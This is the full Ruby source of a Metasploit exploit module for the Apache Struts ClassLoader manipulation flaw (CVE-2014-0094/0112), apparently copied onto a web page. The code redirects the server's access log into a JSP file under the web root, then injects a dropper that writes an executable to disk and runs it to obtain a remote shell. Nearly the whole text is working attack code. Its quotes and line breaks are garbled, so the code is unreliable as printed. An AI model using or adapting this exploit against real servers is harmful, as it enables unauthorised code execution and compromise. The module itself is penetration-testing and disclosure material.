Apache Struts ClassLoader Manipulation Remote Code Execution

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require ‘msf/core’

class Metasploit3 < Msf::Exploit::Remote Rank = ManualRanking # It's going to manipulate the Class Loader include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => ‘Apache Struts ClassLoader Manipulation Remote Code Execution’,
‘Description’ => %q{
This module exploits a remote command execution vulnerability in Apache Struts
versions < 2.3.16.2. This issue is caused because the ParametersInterceptor allows access to 'class' parameter which is directly mapped to getClass() method and allows ClassLoader manipulation, which allows remote attackers to execute arbitrary Java code via crafted parameters. }, 'Author' =>
[
‘Mark Thomas’, # Vulnerability Discovery
‘Przemyslaw Celej’, # Vulnerability Discovery
‘pwntester ‘, # PoC
‘Redsadic ‘ # Metasploit Module
],
‘License’ => MSF_LICENSE,
‘References’ =>
[
[‘CVE’, ‘2014-0094’],
[‘CVE’, ‘2014-0112’],
[‘URL’, ‘http://www.pwntester.com/blog/2014/04/24/struts2-0day-in-the-wild/’],
[‘URL’, ‘http://struts.apache.org/release/2.3.x/docs/s2-020.html’]
],
‘Platform’ => %w{ linux win },
‘Payload’ =>
{
‘Space’ => 5000,
‘DisableNops’ => true
},
‘Targets’ =>
[
[‘Java’,
{
‘Arch’ => ARCH_JAVA,
‘Platform’ => %w{ linux win }
},
],
[‘Linux’,
{
‘Arch’ => ARCH_X86,
‘Platform’ => ‘linux’
}
],
[‘Windows’,
{
‘Arch’ => ARCH_X86,
‘Platform’ => ‘win’
}
]
],
‘DisclosureDate’ => ‘Mar 06 2014’,
‘DefaultTarget’ => 1))

register_options(
[
Opt::RPORT(8080),
OptString.new(‘TARGETURI’, [ true, ‘The path to a struts application action’, “/struts2-blank/example/HelloWorld.action”])
], self.class)
end

def jsp_dropper(file, exe)
dropper = <<-eos <%@ page import=\"java.io.FileOutputStream\" %>
<%@ page import=\"sun.misc.BASE64Decoder\" %>
<%@ page import=\"java.io.File\" %>
<% FileOutputStream oFile = new FileOutputStream(\"#{file}\", false); %>
<% oFile.write(new sun.misc.BASE64Decoder().decodeBuffer(\"#{Rex::Text.encode_base64(exe)}\")); %>
<% oFile.flush(); %>
<% oFile.close(); %>
<% File f = new File(\"#{file}\"); %>
<% f.setExecutable(true); %>
<% Runtime.getRuntime().exec(\"./#{file}\"); %>
eos

dropper
end

def dump_line(uri, cmd = “”)
res = send_request_cgi({
‘uri’ => uri+cmd,
‘version’ => ‘1.1’,
‘method’ => ‘GET’,
})

res
end

def modify_class_loader(opts)
res = send_request_cgi({
‘uri’ => normalize_uri(target_uri.path.to_s),
‘version’ => ‘1.1’,
‘method’ => ‘GET’,
‘vars_get’ => {
“class[‘classLoader’].resources.context.parent.pipeline.first.directory” => opts[:directory],
“class[‘classLoader’].resources.context.parent.pipeline.first.prefix” => opts[:prefix],
“class[‘classLoader’].resources.context.parent.pipeline.first.suffix” => opts[:suffix],
“class[‘classLoader’].resources.context.parent.pipeline.first.fileDateFormat” => opts[:file_date_format]
}
})

res
end

def check_log_file(hint)
uri = normalize_uri(“/”, @jsp_file)

print_status(“#{peer} – Waiting for the server to flush the logfile”)

10.times do |x|
select(nil, nil, nil, 2)

# Now make a request to trigger payload
vprint_status(“#{peer} – Countdown #{10-x}…”)
res = dump_line(uri)

# Failure. The request timed out or the server went away.
fail_with(Failure::TimeoutExpired, “#{peer} – Not received response”) if res.nil?

# Success if the server has flushed all the sent commands to the jsp file
if res.code == 200 && res.body && res.body.to_s =~ /#{hint}/
print_good(“#{peer} – Log file flushed at http://#{peer}/#{@jsp_file}”)
return true
end
end

false
end

# Fix the JSP payload to make it valid once is dropped
# to the log file
def fix(jsp)
output = “”
jsp.each_line do |l|
if l =~ /<%.*%>/
output << l elsif l =~ /<%/ next elsif l.chomp.empty? next else output << "<% #{l.chomp} %>”
end
end
output
end

def create_jsp
if target[‘Arch’] == ARCH_JAVA
jsp = fix(payload.encoded)
else
payload_exe = generate_payload_exe
payload_file = rand_text_alphanumeric(4 + rand(4))
jsp = jsp_dropper(payload_file, payload_exe)
register_files_for_cleanup(payload_file)
end

jsp
end

def exploit
prefix_jsp = rand_text_alphanumeric(3+rand(3))
date_format = rand_text_numeric(1+rand(4))
@jsp_file = prefix_jsp + date_format + “.jsp”

# Modify the Class Loader

print_status(“#{peer} – Modifying Class Loader…”)
properties = {
:directory => ‘webapps/ROOT’,
:prefix => prefix_jsp,
:suffix => ‘.jsp’,
:file_date_format => date_format
}
res = modify_class_loader(properties)
unless res
fail_with(Failure::TimeoutExpired, “#{peer} – No answer”)
end

# Check if the log file exists and hass been flushed

if check_log_file(normalize_uri(target_uri.to_s))
register_files_for_cleanup(@jsp_file)
else
fail_with(Failure::Unknown, “#{peer} – The log file hasn’t been flushed”)
end

# Prepare the JSP
print_status(“#{peer} – Generating JSP…”)
jsp = create_jsp

# Dump the JSP to the log file
print_status(“#{peer} – Dumping JSP into the logfile…”)
random_request = rand_text_alphanumeric(3 + rand(3))
jsp.each_line do |l|
unless dump_line(random_request, l.chomp)
fail_with(Failure::Unknown, “#{peer} – Missed answer while dumping JSP to logfile…”)
end
end

# Check log file… enjoy shell!
check_log_file(random_request)

# No matter what happened, try to ‘restore’ the Class Loader
properties = {
:directory => ”,
:prefix => ”,
:suffix => ”,
:file_date_format => ”
}
modify_class_loader(properties)
end

end